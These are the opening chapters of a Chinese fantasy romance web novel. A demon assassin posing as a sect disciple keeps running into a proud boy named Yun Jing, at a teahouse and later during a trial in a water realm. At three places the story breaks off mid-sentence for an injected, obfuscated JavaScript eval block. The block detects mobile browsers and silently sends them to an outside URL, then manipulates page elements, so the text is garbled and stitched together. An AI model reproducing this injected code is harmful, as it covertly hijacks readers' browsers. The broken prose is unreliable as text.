《某天,大魔头成了正道魁首》 1. 夕阳无边一瞥惊鸿 人间,壬午朔日,东南方。 仲夏,淋漓的雨如残谱断弦,不成调地淅淅沥沥。灵秋抱着师父逍遥散人的手,脚踩一截小臂粗细的梧桐枝,掠过朦胧的天际。 陆地很近,冷风将衣袍吹得润湿。逍遥散人伸手往下一指,笑道:“你瞧,这就是大名鼎鼎的丹碧峰。” 雨丝如同一道银闪闪的珠帘横在眼前,灵秋伸手拨开,只见梧桐绿叶的空隙里,街道宽阔,人烟阜盛,各个门派衣着不同的弟子络绎不绝。 街市像一只色彩斑斓的巨蟒,在青翠的山谷间缓慢挪动。 这是她生平第一次见到这么多人,凡人。 三日前,她离开魔域,化名凌秋,潜入了人间胥阳山上一座名不见经传的仙门——逍遥派,名义上是奉命寻找遗落千年的仙门至宝乾坤山海图,实则是为了逃离魔尊焱狰的监视,调查母亲死亡的真相。 她在百年前的大战中重伤失忆,百年间,除了“芙蓉妃”这个封号,对母亲几乎一无所知。 史书记载,芙蓉妃是仙门中人,三百年前为助焱狰夺位,自戕于败军阵前。 所有人都说她与焱狰琴瑟和鸣,相爱甚笃。 若非意外看到那封泣血的绝笔信,灵秋几乎信了这番说辞。 人间的雨季潮湿而漫长,晦暗的天际线昏昏悬在万里之外,一如三百年前触手难及的真相。 灵秋仔细观察着整座丹碧峰,梅雨季的天气如此多变,师徒两人落地时,早已云销雨霁。 逍遥散人牵着她走进整条街上最气派的一座酒楼。 逍遥派并不宽裕,他靠在柜台边同小厮就着一坛酒的价格来回拉扯,灵秋就拿了糖人,坐在酒楼外的台阶上,对着满街来往的行人发呆。 当初为了顺利潜入逍遥派,她封印魔气,变作凡人稚子的模样。酒客匆匆,来了又走,没人将她放在心上。这些修士大概无论如何也想不到,眼前这个人畜无害的孩子竟然是魔尊焱狰手中最锋利的一把刀。 过去百年,灵秋以一人之力,杀伐不止,替焱狰荡平了整个魔域的叛军,心狠手辣,被冠以杀神之名。 从前,魔域中人一向对她惧怕至极,每每凯旋回朝时走过长街,人人低眉垂首,闭口噤声,本就萧条的街市因她的到来显得愈发死气沉沉。 如今高坐闹市,实是破天荒的头一回。 灵秋往酒楼里望一眼。 逍遥散人正同一群大汉坐在一起滔滔不绝地侃大山。谈笑间他随手按了按肩膀,端起酒碗大喝一口,接着发出一声极其夸张的、满足的喟叹。 怎么会有这么爱喝酒的凡人老头? 灵秋转过身,单手拖着腮,对着糖人百无聊赖地打了个哈欠。 她坐在高高的台阶上,远远瞧见对面街市的蜜饯铺子里一窝蜂地跑出一群孩子。为首的是一个极漂亮的小男孩。 他穿着月白色的锦缎袍子,身后背了把小小的宝剑,剑柄镶嵌了一圈细碎幽蓝的宝石,在雨后初晴的天空下闪烁出璀璨的光华。 好美。 灵秋目不转睛地盯着那方。 小男孩带着自己的玩伴环顾四周,一眼便相中了她所在的这处高地,蹬蹬蹬地跑过来,几步跨上台阶,停在她面前。 他终于清晰地看到她,眼神紧接着一亮。 “就是你了!”他长得玉雪可爱,声音也好听,说完这句话后径自跨上一阶,站到了她身侧。 随后,在灵秋困惑的目光中,其余几个小孩纷纷跪倒在地上,冲着小男孩和她连磕三个响头,嘴里念念有词,大喊道:“参见天下第一剑尊,剑尊大人万岁万岁万万岁!” 于是灵秋连糖人也不吃了,用看傻子般的眼神盯着他们。 她身侧的小男孩显然就是所谓的天下第一剑尊了,他在这时故作沉稳地点点头,说了句“免礼”,转过身对灵秋道:“你是何人,为何见到本剑尊还不参拜?” “因为你不是剑尊。”斜阳温暖,灵秋抿了口糖人,懒洋洋地回答。 “我就是!”小男孩拔出背上的剑,握在手里,活像一头威风凛凛的小狮子,“你叫什么名字?” “关你什么事?”灵秋打了个哈欠,回头看一眼喝酒的逍遥散人——他正和酒友比划猜拳,聊得热火朝天,丝毫没能注意到这边的动静。 小男孩被她藐视,当即有些不爽,决定继续角色扮演。 他一把捉住她捏糖人的手,大声宣布:“奉天承运,我要娶你!” 话音刚落,底下的小孩又立即朝两人磕头,拉长声音喊道:“剑尊夫人——千岁千岁千千岁!” “脑子有病。”灵秋将手从他手心抽出来。 她继承了母亲的灵脉,天赋极高,轻易便将小男孩甩开。 小男孩见状,大喝一声,举剑朝她发动攻击,却被她见招拆招,很快落了下风。 “剑尊大人,我们来助你!” 底下的信众纷纷揭竿而起,小男孩被灵秋整个禁锢住,扯着嗓子大喊:“住手,此乃本尊家务事,你们不用管,快去准备结婚大典!” “是!” 信众们闻言重重点头,纷纷掏出口袋里刚刚买的蜜饯,在石阶上铺开一排,又像小蜜蜂似的从四处采来野花,精心点缀在蜜饯之间,七手八脚地编出一顶好看的花环。 灵秋认真瞧着他们动作,被牢牢压制住的小男孩冲她一扬嘴角,得意道:“你若嫁给我,这些珍馐是你的,花冠也是你的,怎么样?” “不怎么样。”灵秋看着小男孩,三两下夺过他手中的剑,撤开身子反指向他,宣布道:“现在我才是剑尊。” 小男孩眼间她一套招式行云流水,眼中迸出奇异的光彩。他盯着她半晌,不知在想什么,好一会儿,终于郑重地点点头,妥协道:“好吧,你的确比我强。” 他接过信众手上的花冠,小跑回到灵秋面前,将冠递给她,有些别扭地偏过脑袋,小声道:“现在你是剑尊了。” “然后呢?” “然……然后我是你的夫君,你……你可以给我戴花冠了。” “哈?” 小男孩一把将花冠塞进灵秋手里。 天边已是斜阳西下,晚霞在云层间铺开,橙红、浅粉、淡紫交织成一幅绮丽的水彩画,暖融融地渲染了整个世界。眼前人的脸上蒙了一层夕阳的光辉,泛出扑扑可爱的粉。 灵秋一向青睐美东西,对着这张脸,也不生气,只将花冠一把拍在他脑门上。 小男孩还想说些什么,被快步走出的逍遥散人打断。 散人一面朝酒友恋恋不舍地挥手,一面牵起灵秋的手,百忙之中低头宣布:“咱们回家了。” 灵秋闻言立即将剑塞回小男孩怀里。 小男孩怀抱宝剑,头顶绚丽的花冠,突然拽住她的袖子,盯着她问:“你明天还来香满楼吗?” 香满楼大概就是这个酒楼吧。 灵秋本想说“不”,但眼前人眼中满溢的期待莫名让她心底一软。 她看了看逍遥散人,见他虽然说着要走,却与酒友拉拉扯扯,纠缠不清,一副极不情愿分别的模样,心想明日或许会来也说不定。 于是她想了想,回答道:“我来。” 小男孩脸上瞬间绽开灿烂的笑容:“那明天的这个时候我在这里等你!” 他从怀中掏出一包蜜饯,不由分说地塞进灵秋手心,抱着剑,深深吸了口气。 逍遥散人在这时终于低头扫他一眼,手上用力,将灵秋牵得更紧。 直到两人走远,灵秋耳边仍传来小男孩的声音。他说:“明天我再给你带更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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同往常一样,逍遥派全体到场替灵秋呐喊助威。 灵秋不会梳发,大师姐江芙替她精心装扮。绯红的绢花宛如霞般明媚,软绵绵地铺在墨云似的青丝间。清风拂过,细小的流苏摇摇晃晃,衬得她如晨曦朝露般明丽可爱,引来路人悄悄打量。 几个别派的弟子忍不住想上手逗她一番,不用灵秋出手,守在她身侧的师兄师姐眼疾手快地将人拦下,挨个递出一记眼刀。 此次试炼,参赛之人需分组进入秘境制服境中妖兽。名单还公布,其他人都忙着准备,灵秋自顾自坐在一边,百无聊赖地数着院子里的桂花树。 江芙拿了鸡毛毽子走过来,笑着发出邀约,灵秋眼睛一亮,同师姐们有来有回地踢起毽子。 她正玩得兴起,一个不慎,一脚踩进青石板地面上的小坑,身子一斜,脚尖的毽子在空中画出一道极其优美的弧线。 鸡毛毽子带着法力横跨人群,径直砸向远处桂树下与人相谈甚欢,只露出半个背影的男孩。 嘭! 毽子与男孩的脑袋亲密接触,发出一声震彻天地的巨响,灵秋身侧的几个师姐不约而同地倒吸了一口凉气。 “谁啊!?” 被砸中的男孩背对着众人,当场捂住脑袋痛苦地蹲了下去。 他的同伴怒喝一声,眼神一转,轻易锁定了人群之外的罪魁祸首。 江芙拍了拍灵秋的肩,递给她一个眼神。 “对不起。” 灵秋冲那边的人道歉。 她的声音不大,几乎被长长的距离完全稀释,然而那原本背对她的男孩却在听到这三个字的瞬间噌地站起身子,转身向她看来。 只一瞬间的怔愣,他便提着剑,气势汹汹地朝她疾步冲来。 2. 木樨树下一任相逢 灵秋被他这副模样惊了一跳,顺手抛出个结界将来人阻拦在半尺之外。 男孩恶狠狠地盯着她,举剑哐哐砸了两下结界。二人灵力对冲爆出小股波动,惹得众人侧目。 灵秋看了眼身侧欲言又止的江芙,在兜里翻找一阵,掏出一颗丹丸扔进结界。 她率先向男孩求和:“我跟你道歉,给你丹药,你就别和我打架了。” 丹丸骨碌碌地滚到男孩脚边,他看也不看,放下手上的剑,只死死盯着灵秋的眼睛,一字一句地说:“你、为、什、么、没、有、来!” “什么?”灵秋不明所以。 男孩狠狠瞪着她,咬牙切齿地重复:“我、问、你、为、什、么、没、有、来、香、满、楼!” 微风簌簌,满院桂树轻轻晃动,落下一场浩荡的花雨。男孩漂亮的眼睛里水色潋滟,如一片涟漪微漾的湖泊,映了天光,盈盈生辉。 灵秋看着他含泪的双目,茫然唤道:“云靖?” 结界里男孩听到她这一声呼唤,显然一愣,眉间的怒气方有消下几分的趋势,却瞧见她脸上再清晰不过的迷茫神色,心头又开始滋滋冒火。 这个表情,她根本不记得他们的约定! 难怪他抱着一堆蜜饯果子坐在香满楼前从早坐到晚,风雨不辞,等了整整半年也没能等到她! 云靖气极了,周身灵力暴起,用尽全力挥剑一劈。 哗哗啦啦—— 结界碎了一地。 禁锢消失,身后的伙伴立刻想要上前替他“报仇”,云靖却横剑拦住他们。 他大踏步走到灵秋身前,垂首皱眉,大声地问她:“你叫什么名字?” “凌秋。” “哪个凌,哪个秋?” “凌霄花的凌,秋天的秋。” “哈!” 云靖闻言露出一个有些阴险的笑,施法在地上变出一方台阶,自己转身一溜烟儿跑到最上面,硬生生和地上的人拉开一段高度差。 他居高临下地俯视灵秋,嚣张地对她放出狠话:“凌秋,你等着,我一定会把你打得落花流水!” “就是,惹了我们老大,你就等死吧!” “看老大把你打成猪头!” 他的同伴们七嘴八舌帮腔,仿佛昨日情景重现,只是这一回,她变成了站在台阶底下的人。 即便如此,灵秋也不打算向“剑尊”屈服。 “哦,我知道了。”她朝云靖敷衍点了下头,自顾自走到一边,捡起那颗被他忽视的丹丸,在身上擦了擦。 灵秋正想把丹药揣回去,然而下一秒,丹药却被台阶上的云靖施法抢走。 他捏着丹药,眼睛里仍有泪水的痕迹,凶巴巴地对她说:“说了要给我的东西,不准再收回去!” “那你留着呗。” 灵秋无视他的霸道,牵起江芙的手,仰头对她说:“师姐,我们走吧。” 逍遥派的人离开院子,云靖看着那道簪着绯色绢花背影,发觉自己再一次被她忽视,恨恨咬碎了一口白牙。 你给我等着! 他在心里朝她大喊。 “凌秋,云靖。” 两个人的名字连在一起,白胡子仙尊话音刚落,云靖便顶着一张臭脸站到了她身边。 “本次试炼,诸位当团结一致,以小组形式御敌,切记莫要单打独斗。” 仙尊扶着胡子连连嘱咐,灵秋只感觉身侧投来一道灼热的视线,直盯得她浑身发毛,无论如何也不自在。 她偏过脑袋,试图避开云靖的注视,此人的目光却不依不饶地死死追着她,恨不能用眼神生生将她烧出一个窟窿来似的。 他们这组人的试炼地点是江底水境,限时三日,任务是捕杀水底的妖物并取得妖丹,每颗妖丹按大小计分,最终得分最多的三人取得胜利。 除此之外,水境中最厉害妖物的是一条千年恶蛟,得到它的妖丹便可直接成为胜者。 不过,仙尊特意警告,那蛟龙凶恶,杀人不眨眼,试炼途中若是有谁力有不逮,便是丢了性命也概不负责。 千年蛟? 灵秋摩挲着剑柄。 若有机会遇见,她倒不介意与之斗上一斗。 白胡子仙尊说完试炼规则,中气十足地喊了开始。远处,几个同组的人立刻热情地招呼她身侧的男孩:“云靖快来啊,我们一起!” 云靖看一眼他们,又转过头来盯着面前的灵秋,摆出一副“静待”的高冷表情,期待着她主动朝自己开口。 这可是一个服软的好机会。 没听到仙尊说要团结一致吗? 要是她主动开口,好好求他一求,他也不是不可以不计前嫌,勉强考虑和她一起组队。 他正这么想着,下一秒,灵秋便提着铁剑一阵风似的略过他,径自往水境入口走去。 云靖站在原地目送她走开,足足愣了片刻,突然大声回应起同伴们的呼唤。 他快步朝同伴跑去,在经过灵秋时朝她发出一声咬牙切齿的“哼”,硬抢在她前头,一脚跨进水境结界。 这是一处石窟,幽深而空旷,整个空间被深重的黑暗覆盖,唯一的光源来自身边修士们手中法术凝出的火焰。 踏入水境的那刻,灵秋心底便接连涌现出不详的预感。 她试图寻找四周的光源,一无所获,不得不掏出腰间凡人所用的火折子点燃。 灵秋看着竹筒里那点微弱的火苗,心头愈发没底。 谁也不知道,百年间她有个极古怪的毛病,一遇上黑暗狭窄的空间便浑身发软,使不出法力。分明身在业火昭彰的魔域,魔道仙道天赋卓绝,却单单无法操纵火系术法。 是故凡是出门,征战也好,试炼也罢,她必定随身携带火折子。 此处结界诡异,不知为何,手上的火折子一根接着一根,燃得极快,原本熊熊燃烧的火焰不多时便如风中残烛般苟延残喘。 已经没有多余的火折子了。 灵秋瞥了眼身侧各自结伴的修士。 原本她自恃天赋,做好了单打独斗的打算,偏没料到这江底结界竟然如此暗无天日。 若没了光源,别说封印妖物,她甚至无法确定自己还能不能走出这石窟。 如此一来便全完了。 灵秋正盯着手上的竹筒思索对策,发髻突然被人从身后用力拽了一下。 她皱眉回头,正对上云靖的脸。 只见他手拿一颗硕大的夜明珠,照得四周石窟恍若白昼,猝不及防地驱散了苦涩的晦暗。 “怎么,刚开始就害怕了?”云靖朝她挑衅地一扬眉,目光扫过她手上的微弱的火。 他身侧,几个同伴也看向灵秋,不约而同地瞧见了她手上的火折子和铁剑。 其中一个男孩当即爆出嗤笑,对她倨傲道:“你是哪个门派的,连把像样的剑都没有,还用火折子。法术低微至此,也敢来参与试炼?” 他语气轻蔑,灵秋还没反应过来,她面前的云靖却立时转头对男孩道:“闭嘴,她可比你厉害多了!” 男孩被当众驳了面子,脸色十分难看。云靖不管他,只顾将眼神移回灵秋身上。 他动了动嘴,始终拉不下脸来说出一句话。 失约的明明是她。 他怎么能主动邀请她和自己一起呢? 云靖板着脸,一语不发地站在她面前,执拗地等对方先开口服软。 不是很担心吗?快说对不起,然后和我一起。 我当然可以保护你。 同行的人中灵秋只认识云靖,若要寻求帮助,找他自然最简单。可不知道为什么,她就是不乐意向他低头服软。 她一直不说话,云靖的表情难看极了。 灵秋看着他那张漂亮得过分的脸,竟破天荒地感到一丝畅快,好像他越生气她就越高兴似的。 她望进他澄澈的眼眸,回忆起方才院子中的情形。 本就宝石般好看的一双眼睛,哭起来竟然还能变得更漂亮。 若能再哭一哭就好了。 这么想着,她依旧不说话。 同伴多次催促,什么也没能等到的云靖紧咬嘴唇,愤而迈开步子,转身离去。 十三四岁的男孩,背影挺拔如同一枝初长成的翠竹,他一步一回头,越走越远,最后被同伴簇拥着,拿着那颗夜明珠,再不瞧她一眼,彻底奔向无穷无尽的光明。 四周再度陷入幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她话音刚落,云靖的神情立刻切换成了不屑,哼道:“我可不是你娘。” “多谢。”看在此人莫名其妙出手相助的份上,灵秋不打算和他计较。 云靖闻言愣了一下,看着眼前人难得柔和的表情,心脏好像被春水浸透,悄无声息地软成一团。 罢了罢了,他就大人不记小人过,原谅她这回。 他注意到灵秋额间细密的汗,一面从衣袖中取出手帕,一面随口问道:“你很怕黑吗,为何不用法术取火,难道你真的不会?” 话音刚落,灵秋身形一顿。下一秒,天旋地转,云靖攥着手帕,被她翻身利落地按倒在了地上,扼住脖子。 “你要是敢说出去,我一定会杀了你。”她附在他耳侧,冷漠地威胁,手已抚上了最脆弱的那处命脉。 热气氤氲间,云靖只注意到眼前人散乱的发髻,以及恰好落在自己脖间的几缕青丝。触感冰凉,竟然比世上最好的绸缎还要柔软。 他隔着火光看向灵秋,心上好似覆了一轮暖融融太阳,扬起一道明朗的笑容:“放心吧,我谁也不告诉。” 云靖做出拉钩的手势,兴奋地宣布:“从今日起这就是我们两个人之间的秘密了!” 灵秋盯了他半晌,像是想在这幅过于完美的友善面孔上找到一丝裂痕。 最终,她试探着把人松开,伸出小指,半卧在地上的云靖立刻将她一把勾过去,拉到自己胸前。 火光透过指缝洒在手背上,两人四目相对,云靖有些心虚地看了眼灵秋空空如也的手,强自正色道:“你……你没有火折子,如今也只有跟着我了。” “嗯。”灵秋蹙着眉,从他身上爬起来,想将手抽回,却被云靖勾得更牢。 他将头偏到一边,拼命压抑住上扬的嘴角,佯装正经道:“这水境之中凶险无比,危机四伏,你须得时刻跟在我身边,不得稍离,明白吗?” “……” “明白吗?”他将手帕塞进她手心。 “……知道了。” 3. 灵盏易碎珠泪横生 造成这场突然袭击的是两个因争抢妖物大打出手的少年。 随着地上晕倒的人纷纷转醒,两个罪魁祸首连同那只可怜的鲤鱼精被团团围住,七嘴八舌地接受讨伐。 云靖从地上站起来,朝着喧闹的人群走了两步,蓦地转过头一看,见灵秋果真紧紧跟住自己,这才安心地朝那头的同伴道:“我先走一步,你们珍重。” “你什么时候跑到那儿去了?” 几人对他突然离队的行为感到十分诧异,不约而同地露出惊讶神色。其中一个黑衣男孩大声质问道:“云靖,你这是什么意思?” 话音刚落,他的眼神落到灵秋身上,鼻间发出一阵冷嗤:“好啊,你重色轻友!” “你胡说什么。”如同被人重重一点,云靖板着脸,耳尖浮上一片可疑的粉,兀自辩解道:“我这是分明是……” 他想说“乐于助人”,看了眼灵秋,到底三缄其口,憋了半天,干脆破罐子破摔,无赖地一扬眉,改口道:“关你什么事,我想和谁在一起就和谁在一起。” 言罢,不由分说地攥住灵秋的衣袖,将人拽着走得飞快。 “我就知道仙门世家的公子哥靠不住!”直到两人走远,黑衣男孩还在不依不饶地控诉。 火光在石壁上照出剪影,灵秋停下脚步,用力将自己可怜的衣袖从云靖手里拔出来。 绸子被他捏得皱成一团,她抚着褶皱,面上泛出恼意。 云靖走到她面前,迎着灵秋冰冷的视线,硬着头皮从她手上接过那截发皱的衣袖,捧在手心冥思苦想半晌,结出一个清洁咒。 毫无作用。 修士之中,几乎没人会刻意去学替衣裙绸缎除皱这类无用的法术。 云靖变着法试了三回,看着始终蜷成一团的袖子,心头别扭极了,开口就道:“等我们从这水境中出去,我给你做十……二十……五十套新裙子。” “那有什么用?”灵秋将袖子抽回去,冷言冷语:“这裙子是大师姐给我做的。” 若非看在他手中光源的份上,她早该将他狠揍一顿,提剑将他的衣裳劈成碎布条。 不过没关系,大师姐说了,君子报仇十年不晚。 灵秋恨恨地想,等出去以后,她一定不会放过他。 灵秋的责怪之意明显,云靖的目光黯淡下来。 他不过比她高出几分,一袭白袍,低着脑袋站在她跟前,活像胥阳山脚下村口王大娘家那只犯了错的小白狗,本就清澈的眼底闪出碎光,仿若夜雨沾湿的琉璃,在明亮的暖意映衬下颤动,直教人见之生怜。 灵秋对这突如其来的眼泪感到不知所措。 什么啊? 她还没出手呢。 这人方才不还像只孔雀般耀武扬威吗,现在做出这副模样又是给谁看? 云靖垂着眼,屏息关注着眼前人的反应。 他生来恣意,惯是个天不怕地不怕的性子,过去常闯了祸要受父亲责惩,每每稍掉一两滴眼泪便可引得娘亲长老、师姐师叔齐齐上阵替自己求情,便是一贯严厉的父亲见了他的眼泪也再难说出一句重话。 都道“男儿有泪不轻弹”,待稍大些他便再不屑于用眼泪为自己辩护,宁愿生受个百八十鞭也绝不肯落半滴泪。 然而方才一听灵秋话中情绪,云靖直觉完蛋,想也没想便故技重施,暗中狠拧一把大腿,硬生生逼出一片水色来。 果然,眼泪是最好用的武器。眼前人凑近他看了片刻,将衣袖放了下去。 灵秋瞧着他可怜巴巴的样子,心好似被人轻轻揪了一下,几乎下意识地伸出手,板着脸,像揉小狗似的揉了揉他的脑袋。 罢了,她一个活了五百年的跟个十几岁的计较什么。 灵秋道:“我也没有怪你的意思。” 你有。 云靖用含泪的眼睛深深望着她。 你明明就有。 灵秋感到一阵莫名的心慌,避开他的眼神,道:“正事要紧,我们还是赶紧找到千年蛟龙,取了它的妖丹出去吧。” 说着,她双手结印,在空中画出一方巨大的循踪阵。 清风乍起,卷动四周峭壁上的碎石沙沙作响。冰蓝色的阵法汇聚,灵力缓缓蔓延至整个水境。 灵秋耐心等着结果,顺手捞了把挡在眼前的碎发。 一侧,云靖隔着火光看了她许久,低声道:“你头发乱了。” “我知道。”灵秋将恼人的绢花流苏往后一甩。 云靖急切地想做些什么弥补发皱的衣袖,在她面前找回一局,主动提议道:“我可以替你重新束发。” “你会绾发髻?” “我看我娘绾过,应该是会的。” “我也看我师姐绾过,可我不会。” 话说出口,两人都愣住。 可怜的腿肉又被狠揪一把,明亮的眼睛里水雾氤氲重盛,漂亮的眉眼再度低垂。 眼看这人又要露出那副不知所措的可怜表情,灵秋心下一惊,改口道:“你若是会,也可以试试。” 云靖立刻绽开笑容。 真是变脸比翻书还快。 灵秋松了口气。 比起低眉垂眼的泪,她还是更喜欢眼前这人张牙舞爪生气的模样,哪怕是被鸡毛毽子砸得眼冒泪光冲她大吼也好。 反正水境之大,循踪阵总要等上一段时间,散乱的发丝和流苏又甚是恼人。 灵秋干脆自个拆了发髻,走到云靖跟前坐下,伸手一指:“你把手上的火灭了,在那边点上一簇,开始吧。” 云靖闻言一笑,从储物的境中变出一只剔透的莲花玉盏,将指尖的灵火装进去递给她。 灵秋捧着玉盏,烈火分明近在咫尺,手心却只横生温润的暖意。 玉盏内生辉的灵气透过皮肤,源源不断地浸入身体,让她感到灵台清明,通体舒畅。 这盏想必是极为珍稀之物。莫说逍遥派五载,就是在魔域百年,她也从未见过这样奇特的仙门灵宝。 灵秋对着玲珑剔透、纤毫毕现的莲花瓣看了半晌,正瞧得入迷,身后的云靖终于小心翼翼地拾起一缕青丝。 他的动作太轻,灵秋几乎没有任何感觉,只遵循指示将手上的绸带绢花挨个递过去。 耳边不时传来身后人堪称微弱的呼吸声,气息颇有几分不稳。 小小的空间里弥漫着清浅的桂花香,是梳头油的味道。 云靖手忙脚乱地将左边的碎发捞起来,转眼又落了右边的发丝。 绸带在手上打了百十来个结,只勉强绾出一个松垮垮的髻,定睛一瞧,比先前散乱的还不如。 他屏息凝神,拼命回忆着母亲梳妆的步骤,一点一点抽开绸带,准备重试一回。 云靖的动作轻柔至极,唯恐惊扰了面前的人,却忽然听见她问:“先前,你等了我很久吗?” 原来她还记得。 云靖感觉心上漫过一阵酥酥的喜悦,想到自己在淋在雨中傻乎乎站在香满楼门口的模样,抿唇道:“自然没有。” “怎么,你要向我道歉吗?”他将绢花摆得端端正正,离远了看,又忍不住几度上手调整,眉眼一弯,“我已经原谅你了,不过,仅此一次。” 云靖绕到灵秋身前蹲下,与她平视,看着她的发髻,嘴角难以自抑地扬起微笑,郑重道:“我真的原谅你了,可是之后你可再也不能骗我了。” “之后?”灵秋伸手摸摸脑袋,“好了吗?” “好了。” 手感似乎不太对,她看向云靖,问道:“你有铜镜吗?” “我一个男修,怎可能随身带着铜镜?”云靖看着灵秋,无比坚定道:“好看。” 看样子大概还行? 循踪阵有了反应,灵秋站起来对云靖说:“我要去找千年蛟了,我们就在此暂别吧。” 她举起手上的莲花盏:“这个你先借我一用,等出了水境就还你。” 有这样盛放火焰的宝器他该一早拿出来才是。 灵秋说完便想走,身后的云靖蓦地脸色一变,抓住她的胳膊:“我也要去找千年蛟。” “你修为不够,去了也只是送死。”灵秋毫不委婉,说完却心有余悸地看了他一眼。 不会又要哭吧。 云靖只皱眉道:“你如何知道我修为不够?” “你连我的结界的破得那样费力,难道还很厉害不成?” 她说的自然是先前在院子里的事。 试炼途中实力为王,闻言云靖果然松开了手,不过他看着那莲花盏,眼神一闪,又道:“法术离体,长久必散,这点火能撑到你收完妖丹吗?” 好像是不太行。 灵秋将莲花盏递到他眼前,礼貌请求:“那你再往里面多装一些火,行吗?” “当然可以。”云靖答得干脆,指尖燃出火焰,作势接过莲花盏。 他的手与流光相触,将玉盏拖进掌心。 灵秋安心松手,那盏却猝然自他手中坠落,重重磕在地上,哗哗啦啦、清脆利落地碎成了数片。 火光灭了,整个天地间又只剩眼前人指尖这一簇光明。 灵秋目瞪口呆地看着云靖,只听他不知所措地发出一声惊呼:“遭了,没接稳!”而后抬起头一脸无辜无奈地看向她,叹道:“看来现在我们只能一起去找千年蛟了。” 一套动作行云流水。 仙门一向极其看重自家宝贝。 且不说千年间为一个山海乾坤图折进去多少魔族。师父逍遥散人的法器正是一把看起来平平无奇的破扇子,平日极为珍惜。 有一回灵秋实在好奇,不过偷来随手挥了挥,掉了几根羽毛,便险些将师父吓晕过去。事后,她被罚扫了整整一年的山门,幸好有师兄师姐帮忙才不至于累死。 云靖打碎的莲花盏看起来可比破扇子重要多了,可他竟然一副毫不在意的模样。 灵秋不明白,想了半天,直到两人并肩站到千年蛟的洞窟外,她才开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258124|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“就这么把仙器打碎了,不会有人找你的麻烦吗?” “本就是我的东西,谁敢多嘴?”云靖骄傲地扬眉,语气间带着毋庸置疑的理直气壮。 “你怕人找我们麻烦吗?”他一拍胸脯,“放心,有我在,保证没人敢说你半句。” 我们? 灵秋蹙眉道:“是你打碎的,跟我有什么关系?” 云靖闻言一愣,脚下跟着踩上一团软绵绵的东西,他垂首一瞧,竟是一截苍白干瘪的断肢! 于是什么也顾不得了,他倒吸一口凉气,拉着灵秋作势要跑,不料灵秋丝毫不为所动,反倒提剑拖着他沿地上的痕迹一路追踪,直寻到一边的杂草丛前。 她用剑拨开乱蓬蓬的枯草,戳了戳少年灰白的面庞,转头对平静道:“只是死人而已。” “只是死人!?”云靖狠狠咽了一口唾沫,见灵秋一脸淡定,立刻收起惊恐的表情,强装出一副比她还自若的神态,同样拿剑点了点那少年修士塌陷的身体:“的、的确是死人不错。” 他强迫自己冷静,上前一步,举起剑,伸手将灵秋护在身后,声音带着明显的颤抖,对她道:“看来此地十分危险,有我在,你不用害怕。” 灵秋盯着他,拼命克制不让自己当场嗤笑出声。 她为魔族征讨叛军,百年来见惯了生死,波澜不惊实属正常,可身边这个人根本是个什么也不懂的傻子,连听一句重话也要掉眼泪,现在这般虚张声势,没准下一刻就能哇哇大哭出来。 明明害怕还要装作若无其事地做出一副保护她的模样。 真是不自量力。 “你看我干嘛?”云靖被她瞧得不自在极了。 “没什么。”灵秋随意掠过尸体,朝云靖一歪脑袋,示意他先行,微微一笑,“多谢。” 云靖立刻道:“无妨。” 她笑了! 千万不能在这个时候露怯。 云靖朝那死去的少年修士投去一瞥,咬紧嘴唇,将剑握得愈紧。 灵秋本以为他会抬脚往蛟龙的洞穴里去,却没想到他身形一顿,竟然朝那截断肢走去。 云靖皱着眉,小心翼翼地施法挪动断肢,将死去修士的遗体拼接完整,割下一角衣袍,盖住了他的脸。 灵秋一语不发地看着云靖动作,神色有些困惑。 云靖重新起身,伸手护着她,朝洞内走去。 微弱的光芒下,即将进洞的前一秒,灵秋没由来地回过头,往杂草丛投去一瞥。 幽深的洞窟内有温热而腥臭的水汽扑面而来,云靖用手背抹了把脸上的湿润。 灵秋施法将两人周身的潮湿尽数隔绝,念咒驱动了手上的剑。 剑气穿过云靖手上的火焰,挑起璀璨的火花,在幽黑的空间里迅速飞绕了一圈。 光亮闪烁,所到之处,四周景致短促地显露真容。云靖这才发现,漆黑的虚空中漂浮的根本不是水汽,而是一团团鲜红的血雾! 他这才后知后觉地记起,方才洞窟外的那具尸体面无血色,而且……似乎格外干瘪。 云靖心一跳,顿时对四周血雾的来源有了猜测,后怕地看向自己的手背。 哪有什么水汽? 他缓缓抬起手,只见白皙的皮肤上沾满了狰红的血。 铁锈味直冲脑门,绛色令人心惊。 仙门世家娇养长大的小公子何曾见过这种场面? 云靖睁圆了眼睛,在强烈的冲击下,忍不住干呕出声。他呕了几下,终于想起身边还有个人,忙生按下不适,一时连如何强装也忘了个干净。 云靖一手执剑,一手举火,心跳得厉害。 他看了眼身侧的姑娘,暗暗替自己打气:有什么好怕的,不就是一点血吗?不许害怕! 他举火的那只手仍固执地拦在身前,却止不住微微发抖。灵秋被忽上忽下的火苗惹得心烦意乱,忍不住一把抓住那截皓腕。 云靖心底正与恐惧天人交战,突然感觉手上一热,他转头看去,竟是灵秋坚定地握上了他的手腕。 好像做梦一般,她伸手召回剑,面色突变,冲着幽深的虚空眯起眼睛,出声威胁:“装神弄鬼有什么意思?你若再不现身,我便将这洞府搅成浆糊,抽你的筋,扒你的皮,活剥了你的妖丹,再将你拦腰斩了,悬在这水境之外三天三夜,以禁术封死,叫你永世不得轮回。” 